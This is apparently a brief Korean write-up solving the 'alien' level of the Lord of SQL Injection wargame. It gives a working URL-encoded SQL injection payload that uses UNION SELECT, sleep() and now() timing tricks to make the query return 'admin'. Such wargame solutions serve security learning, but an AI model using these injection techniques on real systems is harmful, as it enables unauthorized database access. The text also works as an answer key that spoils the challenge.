alien

첫 화면이다.

https://los.rubiya.kr/chall/alien_91104597bf79b4d893425b65c166d484.php?no=1%20union%20select%20concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%27%20union%20select%20concat(lower(hex(9%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23 에 접속해 몇 번 새로고침을 하면 문제가 풀린다.

no에 아래의 값을 넣은 셈이다.

1 union select concat(lower(hex(10+(!sleep(1)&&now()%2=1))), 'dmin')#' union select concat(lower(hex(9+(!sleep(1)&&now()%2=1))), 'dmin')#

hex(9)는 9, hex(10)은 A, hex(11)은 B를 나타낸다.

시간 순에 따라 id가 admin -> bdmin -> 9dmin -> admin 으로 바뀌게 만든다.